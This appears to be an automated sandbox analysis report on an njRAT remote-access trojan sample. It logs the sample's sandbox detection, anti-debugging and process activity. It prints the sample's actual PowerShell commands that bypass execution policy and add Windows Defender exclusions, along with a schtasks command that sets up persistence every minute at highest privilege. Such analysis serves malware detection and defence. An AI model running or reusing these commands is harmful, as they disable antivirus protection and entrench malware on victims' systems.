Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: NJRAT DANGEROUS.exe, NJRAT DANGEROUS.exe.0.dr

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Memory allocated: EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Memory allocated: 1ADF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: 620000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: 1A520000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: 2590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: 1A870000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: D30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: 1ABD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: FD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Memory allocated: 1AA40000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Window / User API: threadDelayed 2508	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Window / User API: threadDelayed 7282	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5774	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4056	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7222	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2354	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8190	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1333	Jump to behavior

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe TID: 5328	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2448	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3560	Thread sleep count: 7222 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3560	Thread sleep count: 2354 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5436	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000	Thread sleep count: 8190 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5988	Thread sleep count: 1333 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe TID: 5516	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe TID: 6276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe TID: 5240	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe TID: 6208	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Thread delayed: delay time: 922337203685477

Source: NJRAT DANGEROUS.exe.0.dr	Binary or memory string: vmware
Source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BBC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Code function: 0_2_00007FF848E767DA CheckRemoteDebuggerPresent,

0_2_00007FF848E767DA

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe'
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NJRAT DANGEROUS" /tr "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Queries volume information: C:\Users\user\Desktop\NJRAT DANGEROUS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
